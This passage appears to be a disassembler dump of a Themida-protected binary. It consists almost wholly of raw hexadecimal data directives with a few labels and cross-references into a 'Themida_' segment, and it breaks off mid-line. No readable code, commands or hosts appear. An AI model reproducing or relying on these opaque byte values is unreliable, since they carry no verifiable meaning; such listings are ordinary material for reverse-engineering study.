7425D41h dd 564488Eh, 0A4DBF3CBh, 2708FCAAh, 2595FAF4h, 471DF5DBh dd 0C85C3354h, 211DF5E5h, 0AF521FFAh, 2C963B1Dh, 83AC412Eh dd 6947AE84h, 49A73A6Fh, 91C93B19h, 159C3D66h, 92B869D2h dd 0E8A87E57h, 0AA1BE0BCh, 3414F463h, 30A80A69h, 0AA1BE09Fh dd 340A6C56h, 9D9878EBh, 4B1BED84h, 22F5A07Bh, 11DF5BDh dd 0A8403683h, 0A019D103h, 3519D1F3h, 641DF5DBh, 473236B8h dd 287B2377h, 0AA7B2584h, 0D0987C43h, 101BE0F4h, 340C54E2h dd 21171DB1h db 0DBh, 0F5h word_5B5CDE dw 9913h ; DATA XREF: Themida_:00579FF8o dd 10C76074h, 0D2AD6649h, 211DFC92h, 2170B9BDh, 174467B7h dd 0AC43E95Bh, 340C0832h, 711D9FDDh, 211DF605h, 0E245D5F6h dd 5597C23h, 55974B9h, 211DE9DAh, 0E24DB56Fh, 2400FDB1h dd 9F717E04h, 0E8A87C18h, 0A81BE0F3h, 343B8CFEh, 0C8A87EBBh dd 0E71BE0F2h, 341430EAh, 0AA7DA6B1h, 54887C21h, 401BE0CBh dd 17245C9Eh, 0A0EF7ECDh, 2E32D1B9h, 0AD12B3A5h, 211DF56Eh dd 94E20C42h, 2708DDCAh, 0ACE742E2h, 396F4973h, 711D9F7Dh dd 211DF655h, 0E245D5DEh, 5597C37h, 55974B3h, 211DE1DFh dd 0E24DB5EDh, 21111CD3h, 60C8F57Bh, 0CFCCD8E3h, 6D3941EBh dd 0D09CB9E2h, 622D80Ch, 21772524h, 211E1DBEh, 7A3DF5F6h dd 7D94AEB8h, 659CF199h, 2105F1FAh, 725EF56Fh, 2B10A074h dd 0A0129412h, 211DF5EEh, 0A8EA42F9h, 3433D4FEh, 1CA87EBBh dd 0E71BE0DAh, 341430EAh, 1DACA6B1h, 86B44CB3h, 21181D52h dd 0EF42F5F6h, 98F12073h, 75918FDCh, 5197480h, 396CEF95h dd 211DFD5Eh, 113DC7DBh, 0E7C1D19h, 30A80AFDh, 2E1BE053h dd 211DF336h, 0D8A8C6DEh, 0AC1BE068h, 396F4932h, 154E4CDDh dd 0F1E2EDB9h, 0C94CF59Ch, 211DF578h, 78DEAC9Dh, 2539B957h dd 2539B1EEh, 211DF5AFh, 5ADEA49Ah, 2268797Eh, 9E123D7Dh dd 0C0987C8Dh, 0A1BE0ADh, 340CF063h, 0E4983369h, 661BE0BEh dd 86448F0h, 25F5F3F8h, 881DF5F6h, 2EAA2BA6h, 211DF833h dd 0A91295DEh, 211DF56Fh, 255C0808h, 0C94D94EFh, 211DF5F9h dd 0E0C8D2D6h, 0D0DEB514h, 272BFEC5h, 0CF53EF68h, 263FBFBBh dd 211DE45Fh, 0F53D43DBh, 520ADD39h, 0A74C62C9h, 0F1941666h dd 0AA7BA718h, 0AA42AA0Fh, 0C919D12Bh, 211DF5BFh, 89E7D345h dd 0C004BBF2h, 0AA43027Dh, 5597C7Bh, 21171CB9h, 0D57DF5DEh dd 0FBA6DD37h, 3E1EA1D0h, 721D9F83h, 211DF605h, 0E246D5F6h dd 5417C20h, 55974B9h, 211DE9DAh, 0E24EB66Fh, 4CBF5E05h dd 0D12F06DDh, 0F5A4932Eh, 30A80ADBh, 4B1BE053h, 22F5A6BDh dd 11DF5DEh, 0A8463634h, 0A019D1EBh, 3919D19Fh, 621DF5EDh dd 2C0336A5h, 4121223Eh, 211DE454h, 2F22E1DEh, 3E50EC8Dh dd 3073662Ah, 0D10D9D8Dh, 0AA7B4E3Ch, 0AC96940Fh, 2708D8EAh dd 64191A3Ch, 0A4908BDDh, 270587D3h, 0BA8489Eh, 9496F3CEh dd 2708E37Ch, 21772509h, 211E1D28h, 7A3DF5BDh, 7D94AE1Dh dd 659CF14Bh, 2105F193h, 725EF5DBh, 0A6AF872Eh, 0B4946986h dd 2708D636h, 35487034h, 2177F3CBh, 211E1D3Ch, 7A3DF5B7h dd 7D94AE18h, 659CF1C9h, 2106F1D2h, 725EF57Bh, 4388647Eh dd 0D343B9E1h, 0A8E37E6Ch, 3438A822h, 0E49833DDh, 661BE0E4h dd 25F53B7Ch, 5B1DF57Bh, 719C29ADh, 211DE736h, 908F046Fh dd 0D7C3FFE7h, 19EE0192h, 43EBAC3Fh, 0C8869AD4h, 211DF57Ch dd 0A8BEB158h, 7EE2AF4Eh, 2539B1E4h, 2196003Dh, 65940D50h dd 0AA7BF1C9h, 2177AD27h, 211E1D2Ch, 7E3DF5BDh, 5D94AA1Dh dd 659CF14Bh, 210AF193h, 765AF5DBh, 5C7B372Eh, 34A07E5Eh dd 0AA1BE054h, 30A80A45h, 4B1BE0F6h, 22F5A46Fh, 11DF5B7h dd 0A8443682h, 0A019D1A1h, 3B19D1B2h, 601DF57Bh, 0D86636ECh dd 0BEEB997Dh, 10A07E72h, 0AC1BE0A7h, 396F495Eh, 711D9FEBh dd 211DF61Eh, 0E245D57Bh, 5597CE5h, 55974DAh, 211DEC6Bh dd 0E24DB5B7h, 0F181D72Ah, 0AA7BEF93h, 4BCD0A04h, 22F5A57Bh dd 11DF5BDh, 0A8453686h, 0A019D12Bh, 3619D1F3h, 611DF5DBh dd 5A1C36BDh, 0A4945A12h, 2708E60Eh, 0E7D242B2h, 3414305Bh dd 2177B269h, 211E1DE6h, 783DF5DBh, 6D94AC2Eh, 659CF1D2h dd 2107F15Fh, 705CF5BDh, 431A271Dh, 97174D26h, 2040603Eh dd 25F5F3CEh, 7C1DF5EDh, 0C8B738CAh, 211DF573h, 8B0251A9h dd 4CA720B8h, 0EB96933Fh, 2539B13Ch, 7F4CF550h, 2539B164h dd 771D9FAEh, 211DF693h, 0E243D5BDh, 5697C80h, 559746Bh dd 211DE3B3h, 0E24BB3DBh, 47AFBD09h, 0DEF2B94Fh, 3435E4CEh dd 0B880FCBBh, 0AC1BE0FAh, 396F49EAh, 701D9FB1h, 211DF633h dd 0E244D5EDh, 5517CAFh, 559747Fh, 211DEDB9h, 0E24CB4DEh dd 35BCB11Ch, 21121CC5h, 8ACAF5DBh, 0C9775CFCh, 0AC41B371h dd 850CD9A7h, 4BCD0A87h, 22F5A4DEh, 11DF56Fh, 0A84436EEh dd 0A019D197h, 3C19D1A9h, 601DF5F6h, 0B141362Ah, 0A178546Ah dd 872D77DEh, 0A87817EFh, 3405D032h, 771D9FDDh, 211DF605h dd 0E243D5F6h, 5697C25h, 55974B9h, 211DE1DAh, 0E24BB36Fh dd 0F1E20C89h, 0C948F5B1h, 211DF5EEh, 7CDEA8D6h, 253999F2h dd 2539B13Ch, 211DF5C4h, 4EDEA02Ah, 0F114C042h, 29F4D5FEh dd 751DF5EDh, 11D9C7A9h, 0A8CFE0D3h, 3411B038h, 711D9FD8h dd 211DF687h, 0E245D5B7h, 5597C83h, 55974E9h, 211DEEF2h dd 0E24DB57Bh, 2AD2FA84h, 0A252E0F1h, 211DF887h db 0B7h byte_5B6219 db 0D1h, 0FDh, 0Dh ; DATA XREF: Themida_:0057AEE8o dd 0D5AE828Eh, 30A24AC0h, 7EE57E23h, 21181C1Bh, 0BF54F5BDh dd 0A8131082h, 34094CD2h, 0AD7B94B1h, 20887E03h, 51BE0EAh dd 701D9FF2h, 211DF693h, 0E244D5BDh, 5517C87h, 559746Bh dd 211DE0B3h, 0E24CB4DBh, 2FF48046h, 161DF5F6h, 0F17945B5h dd 0DF83EE4Bh, 8CE79870h, 0E1170D88h, 223F71B8h, 0AC2CF5DBh dd 2708D300h, 3194487Dh, 0A4DBF36Eh, 2708FC78h, 741D9F91h dd 211DF687h, 0E240D5B7h, 5717C86h, 55974E9h, 211DE3F2h dd 0E248B07Bh, 0D9BE65D5h, 0BABAC0B6h, 21121CDAh, 8DFEF5B7h dd 73046442h, 75D306AFh, 4D3A04EEh, 51974E1h, 28F93032h dd 0A2786C64h, 30A80A4Ah, 0A11BE09Fh, 0A490051Ah, 27058751h dd 0C94BF59Ch, 211DF578h, 7FDEAB9Dh, 25398157h, 2539B1EEh dd 211DF5AEh, 92DEA39Dh, 9F550CBh, 41FE471Dh, 397C68F0h dd 9612F3A8h, 0F1E29416h, 0C94FF505h, 211DF5B4h, 7BDEAFFBh dd 2539A164h, 2539B177h, 211DF561h, 0AFDEA7FFh, 0B3B76647h dd 0AC1C6C33h, 2708DF8Eh, 22393558h, 3433F478h, 8C987CF0h dd 4B1BE076h, 22F5A3BDh, 11DF5DEh, 0A8433631h, 0A019D1C3h dd 3719D19Fh, 671DF5EDh, 34AF36A0h, 0F4887C8Fh, 0A81BE0B8h dd 343F645Bh, 64987E69h, 701BE0BBh, 211E7FD4h, 0AA7BF5EDh dd 0BC96AC06h, 2708ED5Eh, 0C94CF5D7h, 211DF5DDh, 78DEAC4Fh dd 2539B93Eh, 2539B15Ah, 211DF5F1h, 0EDEA4B7h, 1CC9726Dh dd 45E63E98h, 211B72D1h, 0B496F56Fh, 2708F8D6h, 0DA969398h dd 0D97DEE66h, 3F94487Fh, 0AA7CF36Eh, 2880C4A6h, 0AA1BE0F9h dd 761D9F74h, 211DF65Fh, 0E242D5DBh, 5617CB2h, 55974F2h dd 211DE07Fh, 0E24AB2BDh, 12E40355h, 9C160CB7h, 2708DDFAh dd 38A86852h, 2177F3F8h, 211E1DA3h, 7C3DF57Bh, 4D94A87Eh dd 659CF1FAh, 2107F14Bh, 7458F5B7h, 79552F18h, 0E5C542F1h dd 0C8D37E90h, 211DF571h, 0C3B68722h, 1EAB10CAh, 0A4DB111Fh dd 2708FC72h, 741D9F9Ch, 211DF605h, 0E240D5F6h, 5717C26h dd 55974B9h, 211DECDAh, 0E248B06Fh, 8751D2A6h, 9612FA65h dd 156E9D23h, 62A7261Eh, 0A017F9B6h, 0C8C7D189h, 9C9491E8h dd 2708ED62h, 90C4048h, 2177F3CEh, 211E1DBDh, 793DF5F6h dd 6594ADB8h, 659CF199h, 2106F1FAh, 715DF56Fh, 0E1384574h dd 0C5DD6D70h, 0B2AC4A3Fh, 0F89CDAF9h, 7CD793Ch, 53A17030h dd 2177F3C6h, 211E1D3Dh, 7B3DF5B7h, 7594AF18h, 659CF1C9h dd 2109F1D2h, 735FF57Bh, 0D297987Eh, 21772521h, 211E1D38h dd 7E3DF5B7h, 5D94AA18h, 659CF1C9h, 210BF1D2h, 765AF57Bh dd 2173357Eh, 35487057h, 2177F37Ah, 211E1DE0h, 7E3DF5DBh dd 5D94AA2Eh, 659CF1D2h, 2105F15Fh, 765AF5BDh, 0FE157D1Dh dd 4B5D357Bh, 22F5A3B7h, 11DF5DBh, 0A84336B3h, 0A019D182h dd 3B19D13Fh, 671DF5BDh, 0FBD83688h, 0F26A002Eh, 0AA1D7E17h dd 3400344Eh, 4B1D7EEBh, 22F5A7F6h, 11DF57Bh, 0A84736E7h dd 0A019D18Ah, 3C19D12Bh, 631DF5B7h, 0A5B33689h, 0A64623F8h dd 0B14CCCB5h, 3CFC70F2h, 2177F3A8h, 211E1D8Dh, 7A3DF56Fh dd 7D94AE74h, 659CF1FFh, 2104F1C9h, 725EF5F6h, 7DD39EB8h dd 0AA72D148h, 3433144Bh, 21E51C69h, 0A912F5B7h, 211DF5DBh dd 9EAE7060h, 0B496F3EEh, 2708C116h, 73848B4h, 984DF3CBh dd 71C9BFD0h, 4139F13Eh, 0A8E77EBDh, 341C6458h, 0B4E294F0h dd 2708F2AEh, 0C94DF5D7h, 211DF5DDh, 79DEAD4Fh, 2539B13Eh dd 2539B15Ah, 211DF5FBh, 79DEA5B6h, 0A0124E53h, 211DF5BBh dd 20784057h, 0ACE8F37Ah, 39A24C2Ah, 771D9FDDh, 211DF605h dd 0E243D5F6h, 5697C25h, 55974B9h, 211DECDAh, 0E24BB36Fh dd 0A4B97FF6h, 0D09D993Ah, 0D896665Ch, 210F1CA6h, 86C3F57Bh dd 369A6A9Dh, 0EF6AAFC6h, 0FD01FA9Fh, 0CAFE429Ah, 2594A548h dd 761D9FC9h, 211DF61Eh, 0E242D57Bh, 5617CE2h, 55974DAh dd 211DE06Bh, 0E24AB2B7h, 0AA4F1C7Dh, 0B4E2AB1Eh, 2708FBEBh dd 60793CC5h, 8C987C97h, 4B1BE0D3h, 22F5A56Fh, 11DF5B7h dd 0A8453683h, 0A019D1A9h, 3619D1B2h, 611DF57Bh, 0EBD436EDh dd 0A4DB818Dh, 2708FCAAh, 721D9FE4h, 211DF633h, 0E246D5EDh dd 5417CADh, 559747Fh, 211DEEB9h, 0E24EB6DEh, 1BA9D620h dd 5760094Fh, 4D314ABDh, 0AA752466h, 70922340h, 7BE67E1Dh dd 0D539C13Ch, 4B38A4ECh, 22F5A26Fh, 11DF5B7h, 0A8423684h dd 0A019D191h, 3819D1B2h, 661DF57Bh, 31CA36EAh, 95759FF7h dd 21187F60h, 86A2F5B7h, 0DE2BF8B0h, 3435E458h, 731D9FF0h dd 211DF693h, 0E247D5BDh, 5497C84h, 559746Bh, 211DE9B3h dd 0E24FB7DBh, 8CE9C620h, 13B65707h, 2797FA43h, 0AA1DF5BDh dd 3418A053h, 4887E69h, 221BE0AAh, 340D8466h, 9D9878EBh dd 4B1BED84h, 22F5A57Bh, 11DF5BDh, 0A8453686h, 0A019D12Bh dd 3B19D1F3h, 611DF5DBh, 0D0C136BDh, 0F38CC535h, 8907C83h dd 0DE1BE0B9h, 741D9F0Eh, 211DF687h, 0E240D5B7h, 5717C86h dd 55974E9h, 211DEDF2h, 0E248B07Bh, 0D181B7F8h, 6C987CD3h dd 4B1BE072h, 22F5A4B7h, 11DF5DBh, 0A84436B4h, 0A019D1BAh dd 3819D13Fh, 601DF5BDh, 250F368Fh, 200FC3A0h, 3468783Eh dd 0F196F3CEh, 28D8702Bh, 9B5AF3E3h, 6A2E50D4h, 211DF155h dd 530865DEh, 0C1E74FCEh, 0C84DED4Fh, 211DF5D3h, 8B27EBF0h dd 0F9FCCC45h, 2539B1F0h, 210D1CDDh, 4E5DF5DEh, 993D5F66h dd 3FC3D79Ch, 1E25C36Eh, 0F2A5D92Fh, 40670C96h, 0AA7DF5F0h dd 0DCA4937Bh, 6594944Ah, 0EF96F14Bh, 54A0FEEFh, 0DE1BE0CBh dd 3435E458h, 210E1CF0h, 2AAFF57Bh, 0B63F0FDDh, 7F8F7984h dd 0ED6BBCD7h, 0E9370326h, 2394FA00h, 971DF5EDh, 9D987861h dd 4B1BED09h, 22F5A2BDh, 11DF5DEh, 0A8423630h, 0A019D1CBh dd 3919D19Fh, 661DF5EDh, 0CD7E36A1h, 0C95974FBh, 211DF5ACh dd 50EAB9D8h, 5812E655h, 0C7CCA0E9h, 57AA6FEBh, 0A8A8DEDFh dd 7F1BE0F0h, 21772584h, 211E1DEFh, 7B3DF5DEh, 7594AFACh dd 659CF193h, 2105F1FFh, 735FF5EDh, 94E75035h, 0AC349911h dd 2708DD30h, 211DFF36h, 6D22976Fh, 0BC1E07E9h, 2EE842F4h dd 211DF966h, 211A1CF6h, 4E6CF57Bh, 0B3EE934Dh, 0C997AAB5h dd 27BC70E6h, 2177F3A2h, 211E1D8Dh, 7F3DF5EDh, 5594AB35h dd 659CF15Fh, 2106F199h, 775BF5DEh, 0AFC327ACh, 0EA3254F6h dd 0AC987C5Eh, 0E71BE0E9h, 34143073h, 2177A67Dh, 211E1DEDh dd 793DF5DEh, 6594ADACh, 659CF193h, 2109F1FFh, 715DF5EDh dd 0AD12A535h, 211DF571h, 211DF054h, 206BC1DEh, 0BC344F3Fh dd 2708E892h, 211DF133h, 184265EDh, 79A7936Fh, 734DA52Dh dd 7E6947EBh, 33F4C4D1h, 911DF56Fh, 102208AAh, 0ADB2A31h dd 0DB64C6CDh, 8560BFE7h, 0AA45AF5Dh, 0C919D1F9h, 211DF5CCh dd 0A2267BD7h, 8657D612h, 6C21EFB7h, 0FB89F2C9h, 0AA476FECh dd 5597C7Bh, 734D95B9h, 8AAE4D60h, 472CFA42h, 7BC0170Fh dd 40C77E83h, 771D9FB5h, 211DF61Eh, 0E243D57Bh, 5697CE3h dd 55974DAh, 211DEC6Bh, 0E24BB3B7h, 4A7BEDC8h, 0CFA7C944h dd 9478B5BCh, 30A80A42h, 4B1BE095h, 22F5A3DEh, 11DF56Fh dd 0A84336E9h, 0A019D1AFh, 3D19D1A9h, 671DF5F6h, 0A8B9362Dh dd 394571AEh, 0A88DD2ABh, 34378CE2h, 9D9878B1h, 471BEDA9h dd 0DEE18F57h, 731D9F26h, 211DF693h, 0E247D5BDh, 5497C84h dd 559746Bh, 211DE3B3h dd 0E24FB7DBh, 0AAB81EF9h, 341DA87Bh, 60987C7Dh, 9B1BE095h dd 5C66EBCCh, 23D470E6h, 0AA7BF3A2h, 0E4983328h, 761BE0E4h dd 7BE8A3A5h, 21161D25h, 7EC1F5BDh, 0EF999C14h, 0D5EA0C88h dd 4B75AFA6h, 47CD3763h, 0A017A653h, 0CB71D1C2h, 0DD4DB5BDh dd 54A87EE3h, 0DE1BE0F1h, 3435E4DAh, 2797FAB1h, 0A01DF5DBh dd 0FFC5882Ah, 0D4907CFFh, 0AC1BE07Ch, 396F4938h, 4BCD0AD8h dd 22F5A76Fh, 11DF5B7h, 0A8473681h, 0A019D1B9h, 3419D1B2h dd 631DF57Bh, 2E8B36EFh, 0A8CC4AD1h, 341548EAh, 0E49833B1h dd 621BE0D2h, 0C94AF587h, 211DF5F5h, 7EDEAA5Bh, 25398934h dd 2539B15Fh, 211DF57Ah, 50DEA2F0h, 4C90DC59h, 0C91BE0D9h dd 211DF5F2h, 9D8D8553h, 1A994BDBh, 3797FA8Eh, 411DF56Fh dd 211DFD5Fh, 320435DBh, 60F521F9h, 0A312AB8Dh, 211DF57Bh dd 5597EDCh, 0D89693DAh, 0D696F5E4h, 2539B13Eh, 211DFF33h dd 9BFB9EEDh, 3D22C7E6h, 4750A457h, 78603407h, 761D9F86h dd 211DF687h, 0E242D5B7h, 5617C84h, 55974E9h, 211DECF2h dd 0E24AB27Bh, 935E9F4Fh, 0AE1257B0h, 211DF569h, 3078603Ch dd 94E2F3CEh, 2708DDFCh, 0C94EF59Ch, 211DF578h, 7ADEAE9Dh dd 2539A957h, 2539B1EEh, 211DF5AAh, 3EDEA698h, 0ACFCC18Ch dd 5EE526F9h, 0E090DC40h, 0AC1BE091h, 396F495Bh, 711D9F69h dd 211DF65Fh, 0E245D5DBh, 5597CB5h, 55974F2h, 211DE17Fh dd 0E24DB5BDh, 0D0A87EA0h, 0DE1BE072h, 0F3AAFA67h, 2AB46052h dd 0A494F3F8h, 2708C66Bh, 0C94AF511h, 211DF5BEh, 7EDEAAFEh dd 253989E6h, 2539B136h, 211DF5CEh, 60DEA2AAh, 60887E68h dd 471BE05Ch, 0AC199803h, 39A25C5Bh, 731D9F69h, 211DF65Fh dd 0E247D5DBh, 5497CB7h, 55974F2h, 211DE97Fh, 0E24FB7BDh dd 0C868A7F4h, 565E30A0h, 0B6DA74F6h, 0B1170DC5h, 9B7BA7BDh dd 10122532h, 0B5103EC1h, 7145AFB3h, 731D9F4Eh, 211DF687h dd 0E247D5B7h, 5497C81h, 55974E9h, 211DEDF2h, 0E24FB77Bh dd 85CDF793h, 0F4880A15h, 471BE068h, 97801C36h, 0AA7B2D50h dd 0BC987817h, 4B1BED49h, 22F5A07Bh, 11DF5BDh, 0A8403683h dd 0A019D103h, 3A19D1F3h, 641DF5DBh, 0F65736B8h, 0D0B463ADh dd 474D171Dh, 25940636h, 711D9FFAh, 211DF687h, 0E245D5B7h dd 5597C83h, 55974E9h, 211DE8F2h, 0E24DB57Bh, 0E566D40Ah dd 0A3BC1F45h, 0D69CCE28h, 68483545h, 211DE432h, 0CCD6C2EDh dd 675B5470h, 0E675E696h, 0C174BB12h, 984D58E5h, 70EB0C2Fh dd 4139E93Eh, 64C374BDh, 0A490FC28h, 401BE0EBh, 2F006084h dd 2177F3A8h, 211E1D89h, 7E3DF56Fh, 5D94AA74h, 659CF1FFh dd 2104F1C9h, 765AF5F6h, 67DAACB8h, 0AA446121h, 80987C29h dd 471BE077h, 0E6969208h, 3415585Eh, 211DFAEBh, 771D9FF6h dd 211DF693h, 0E243D5BDh, 5697C80h, 559746Bh, 211DE1B3h dd 0E24BB3DBh, 0DEE67EE6h, 34055463h, 0A07C7Dh, 0A81BE0B7h dd 343A705Bh, 58907C69h, 0AA1BE09Eh, 3437045Eh, 578078EBh dd 0A81BED25h, 9C90F438h, 2708E440h, 0F24D4053h, 12A4F377h dd 0D21DF5B7h, 992E1E7Fh, 211DF5EDh, 226935FDh, 0AA1DEDB9h dd 7211D1F9h, 211DF536h, 0E29CAE6Fh, 211DF5A0h, 3139A952h dd 3539B164h, 0DB2A4DADh, 0C1E2F5BBh, 2539B136h, 21771521h dd 211E1D38h, 7E3DF5B7h, 5D94AA18h, 659CF1C9h, 2101F1D2h dd 765AF57Bh, 294DEA7Eh, 0B5ECF2E9h, 2177A673h, 211E1DE4h dd 7A3DF5DBh, 7D94AE2Eh, 659CF1D2h, 2106F15Fh, 725EF5BDh dd 57FE211Dh, 0A9514499h, 30887E95h, 401BE0D3h, 227478DCh dd 9C90F3E3h, 27054AE6h, 0F2EE7830h, 14A5F3C6h, 1285D3C4h dd 3409D832h, 0E0D2DEDDh, 0B4E19695h, 0CE2C1040h, 189C9EF3h dd 0F62708FDh, 0C6A21480h, 0BB341E58h, 0E98369F5h, 8BA4F305h dd 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 9CC0A080h, 9BCA810Eh, 0B53195A0h, 6151D11h dd 76E9h, 0AE900h, 0C6F60000h, 2BBB374Ch, 7CBB0A47h, 1860Fh dd 61FC0000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0AAC35242h, 0B05E9A11h, 60F8E4D4h, 68D0Fh, 890F0000h dd 0 dd 6AC361h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0CE987C3h, 6000000h, 1B0F4575h, 63FA0301h dd 8BD03E0Eh, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 2891C685h, 0CE9F560h, 0B8000000h dd 37556C58h, 8581234Ah, 61C691BCh, 8F5BD83h, 75000615h dd 0ADBD8309h, 61503h, 53501974h, 0B9B8C08Bh, 89000004h dd 1502A185h, 59D8D06h, 0FF0617ABh, 83585BD3h, 1503ADBDh dd 17740006h, 0B9B85350h, 89000004h, 1502A185h, 0A69D8D06h dd 0FF0617A7h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0D640C352h, 2F53D318h dd 6A2FFD8Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0A560C352h, 0CE922h, 827B0000h dd 0CE7F25A9h, 0FC178BE8h, 0C08BBF12h, 158A0Fh, 10E90000h dd 8D000000h, 51D9A591h, 1BCA01B0h, 0B498EF72h, 0FAC0999h dd 689h, 0BA666000h, 40613729h, 5160C18Bh, 60585950h, 22918D89h dd 0FE80615h, 31000000h, 0B36461EFh, 56630233h, 3CCA78FAh dd 6158E29Dh, 919D8961h, 0EB061530h, 4, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 92707DFEh, 92347CFAh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0A7C35242h, 660DFDCBh, 668E85BEh, 858DFA8Bh dd 615279Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 17C35545h, 621C75h, 0CB344314h, 50F28B66h, 0FE96052h dd 0F6000000h, 0F96E6BADh, 0EBBC7758h, 292BF56Dh, 9E99CA3h dd 52000000h, 0B7E0957Fh, 3D9EF83Ch, 4895F61h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0E860D041h, 9, 934D45C3h, 0B0A0D01Eh, 895EF526h, 1502718Dh dd 0BD8B6106h, 6150225h, 6AF8006Ah, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0FE0A7005h dd 0B998DA62h, 59952939h, 8B061527h, 152DDDBDh, 2F858D06h dd 290618D8h, 150255B5h, 5C08306h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0A3C35545h, 0A5382C95h, 151110Ah dd 150AA995h, 0E9505E06h, 6, 0D2B097Eh, 4896F10h, 65B58B24h dd 6A061517h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 9E4A08ADh, 6AF0BF0Fh, 52006A00h dword_5B719C dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h ; DATA XREF: Themida_:0057C558o ; Themida_:0057CA2Co dd 5E99Bh, 35AD0000h, 890D0031h, 152FA19Dh, 7995FF06h dd 66061526h, 0E10CC781h, 9C159D8Dh, 6E90618h, 9F000000h dd 434371DEh, 6AD3FF15h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 889FC355h, 0FE256E1Fh dd 0F3C6F7EBh, 13E9h, 5999A400h, 0BEE58CA3h, 17698F4Ch dd 1F16B7BAh, 22A18A2Ch, 211BD8Bh, 85FF0615h, 6151535h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 47C35545h dd 0E9803EBEh, 0Eh, 0B471A916h, 0F0AAF980h, 0DCBD436Bh dd 0AAE961FCh, 0E8000007h, 0 dd 39ED815Dh, 6A0618D8h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0DC0CC357h, 0FCB08FBDh dd 8ADBD81h, 7D00615h, 860F0000h, 13Ah, 3F1BD03h, 9D8B0615h dd 6152871h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 6FC35242h, 0E381A2h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 201DC352h dd 0AE793F75h, 0DB0BF2B6h, 96850Fh, 8D890000h, 6152F81h dd 0D5E2BD83h, 0F000618h, 1F84h, 0F6BF0F00h, 0AEE9h, 0CE96000h dd 1000000h, 70463397h, 0A7BE8EC5h, 66CD1DC0h, 616102BEh dd 0D5E285C7h, 10618h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 7E837C3h, 1C000000h dd 61541D51h, 5FF53F63h, 5EE9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 5D28EAF0h dd 5E927DEh, 0C2000000h, 0D831FDE7h, 0D5E285C7h, 618h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0A0CEA7C3h, 9589FD0Eh, 6150CC5h, 8DF18B66h dd 1528719Dh, 0D1DABE06h, 23817F5Eh, 0FFFFFEFFh, 33C5BD8Bh dd 8C660615h, 51006ADBh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 5D5C7659h, 0F4FE446Ah, 0E1B58B8Eh dd 0F6061501h, 840F04C3h, 58h, 95FFF18Bh, 61518A1h, 6919D29h dd 0E8900615h, 10h, 419464A4h, 0CB95C06Fh, 0ECF67B0Bh dd 38971045h, 3AD5BE66h, 6050505Eh, 595729B1h, 6A905E61h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 42F2C355h, 8D898C53h, 6152D91h, 496E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 36197D71h, 8B22C6F4h, 151051BDh, 0DF816606h, 0B01B64h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5CC35040h dd 9E99483h, 52000000h, 0B8B7C3Fh, 67489FBBh, 13E9h, 78061000h dd 0A41EBF46h, 0D268BC9h, 0B13ED15Dh, 184FA404h, 6A70E6h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 64B6C8C3h, 335E2F8Eh, 0DDB5895Fh, 0E4061526h, 57006A71h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 75BD0992h, 8B061524h, 152E4DB5h, 0D8B60F06h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0BC35040h, 2AF58D01h dd 6BA0615h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0CDD3C352h, 0A1858972h dd 0F06150Ah, 685h, 6DB58B00h, 8B061529h, 53006AC3h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0B6D78198h, 0C1210240h, 11E904E8h, 0AA000000h, 0F83E6605h dd 0C20D1D80h, 0B07645E2h, 581A33Ch, 66E2F766h, 0B87FF681h dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 840794C3h, 6650F5DCh, 1C89FA8Bh, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0ADB5FFEBh, 6A061508h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0FF8AC351h, 152E2195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 15117FEEh, 691BD8Bh, 0BD8B0615h, 6150C5Dh dd 70E600B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0FAC35646h, 9E9699Ah, 5D000000h, 0C03512C2h, 0E672F01Bh dd 1545B58Bh, 71E40615h, 9850Fh, 